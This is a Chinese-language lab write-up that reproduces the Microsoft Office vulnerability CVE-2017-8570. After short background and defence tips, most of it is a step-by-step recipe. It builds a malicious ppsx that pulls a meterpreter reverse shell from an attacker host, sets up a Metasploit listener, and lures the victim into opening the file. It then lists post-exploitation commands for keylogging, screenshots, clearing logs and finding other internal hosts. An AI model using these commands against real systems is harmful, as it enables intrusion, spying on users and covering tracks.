CVE-2017-8570漏洞复现与研究
——2018.7.2
目 录
1引言
1.1微软office漏洞背景
微软Office系统软件(Word/Excel/PowerPoint等),一直是电脑上最为常用的办公软件之一,在国内外都拥有大量的用户。另一方面,利用Office系列软件的漏洞进行网络攻击已经成为黑客惯用的手段,广泛运用于APT攻击,抓肉鸡,传播勒索病毒等。其中一种典型的攻击方式是“鱼叉攻击”:黑客将包含漏洞的文档伪装成为一个正常的Office文档,并精心构造文件名,然后投递到用户邮箱,如果用户不小心打开文档,恶意代码便会悄悄执行,用户完全没有感知。
另外,随着新版本的Office不断发布,微软逐渐停止了对于老版本Office的技术支持,包括提供安全更新。2017 年10月,微软就正式停止了对 Office 2007的技术支持。这本是软件生命周期中不可避免的事情,但对于使用Office 软件的用户来说,除非升级到更新的版本,否则将面临被黑客攻击的风险。然而,事实上目前仍有大量的用户选择不升级,而是继续使用老版本的Office软件。
1.2 CVE-2017-8570简介
Office作为当前市场占有率最高的办公软件,却常常被爆高危漏洞,其中编号为CVE-2017-8570的远程代码执行漏洞危害尤其之大。CVE-2017-8570是一个逻辑漏洞,和常规的内存破坏型漏洞不同,这类漏洞无需复杂的利用手法,直接就可以在office文档中运行任意的恶意脚本。
CVE-2017-8570漏洞是利用复合Moniker绕过了CVE-2017-0199的补丁针对Script Moniker和URL Moniker相关classid的拦截,目前野外暂未发现攻击样本。
1.3 office适用版本
Microsoft Office 2007 Service Pack 3
Microsoft Office 2010 Service Pack 2 (32-bit editions)
Microsoft Office 2010 Service Pack 2 (64-bit editions)
Microsoft Office 2013 RT Service Pack 1
Microsoft Office 2013 Service Pack 1 (32-bit editions)
Microsoft Office 2013 Service Pack 1 (64-bit editions)
Microsoft Office 2016 (32-bit edition)
Microsoft Office 2016 (64-bit edition)
2原理简单分析
2.1漏洞原理简单分析
该漏洞为Microsoft Office的一个远程代码执行漏洞。其成因是Microsoft PowerPoint
执行时会初始化Script Moniker
对象,而在PowerPoint
播放动画期间会激活
该对象,从而执行sct
脚本(Windows Script Component)文件。攻击者可以欺骗用户运行含有该漏洞的PPT文件,导致获取和当前登录用户相同的代码执行权限。
2.2漏洞原理简单图解
◆图1 漏洞原理简图
2.3相关知识介绍
2.3.1 ppsx介绍
微软公司Office 2007 系列软件中PowerPoint的一种文件格式。始终在幻灯片放映视图(而不是普通视图)在打开的演示文稿。(在本漏洞复现中采用ppsx有利于确保目标机用户只要一打开该文件,就会出现PowerPoint
播放动画状态,从而激活
该对象执行sct
脚本)
2.3.2 exp介绍
EXP = Exploit的中文意思是“漏洞利用”。意思是一段对漏洞如何利用的详细说明或者一个演示的漏洞攻击代码,可以使得读者完全了解漏洞的机理以及利用的方法。
3利用复现过程
3.1环境搭建
3.1.1 虚拟机环境
- 攻击机(外网)
系统:kali IP:172.16.44.247
- 目标机(内网)
系统:Windows7 IP:192.168.1.129
3.1.2 office环境
目标机(192.168.1.129)采用Microsoft office Prefession 2010版本
3.2复现过程
3.2.1 在攻击机中生成恶意ppsx文件
- cd CVE-2017-8570 //进入exploit的目录
- python cve-2017-8570_toolkit.py -M gen -w orange.ppsx -u http://172.16.44.247/logo.doc //生成ppsx恶意文件
◆图2 生成恶意ppsx文件
3.2.2 在攻击机中生成反弹shell.exe文件
- msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.44.247 LPORT=6666 -f exe > shell.exe
◆图3 生成shell.exe文件
3.2.3 生成监听模式
生成监听模式,监听来自 ppsx 执行反弹 shell(这里会自动启动 80 端口)
- python cve-2017-8570_toolkit.py -M exp -e http://172.16.44.247/shell.exe -l shell.exe
- //其中 -p 参数是 payload的意思,使用的windows的meterpreter的反弹木马-f参数 指定输出文件后缀为exe文件再用>重定向输出到tmp目录下
◆图4 生成监听模式
3.2.4 开启msf监听
- //开启msf监听
- service postgresql start //启动数据库服务
- msfdb init //初始化数据库
- msfconsole //启动metasploit
- msf > use exploit/multi/handler //使用监听模块
- msf > set LHOST 172.16.44.247 //设置本地接收IP
- msf > set LPORT 6666 //设置端口
- msf > set PAYLOAD windows/x64/meterpreter/reverse_tcp ////设置Payload
- msf > exploit
◆图5 开启msf
3.3复现结果
3.3.1 传播ppsx至目标机
传播ppsx至目标机,并诱使目标机打开此文件
◆图6 运行ppsx反弹shell
3.3.2 接收到反弹的shell
接收到目标机回弹的shell后,进行利用操作
◆图7 反弹shell成功后进行操作
3.3.2 获取内网其他目标机
通过meterpreter > shell控制已被攻击的目标机windows的cmd命令行,使用arp -a命令获取内网中其它目标机
◆图8 获取内网中其它目标机
4利用方式
- meterpreter> getuid //获取当前用户ID
- meterpreter > screenshot //截图并保存
- meterpreter > keyscan_start //开启键盘记录
- meterpreter > keyscan_dump //查看键盘记录内容
- meterpreter > keyscan_stop //关闭键盘记录
- meterpreter > clearev //清除日志
- meterpreter > shutdown //关机
- meterpreter > uictl disable mouse //禁止使用鼠标
- meterpreter > shell //控制windows的cmd命令行
5防护方案
- 不要打开任何来源不明的Office PowerPoint文档;
- 及时更新并安装微软2017年7月发布的补丁,https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8570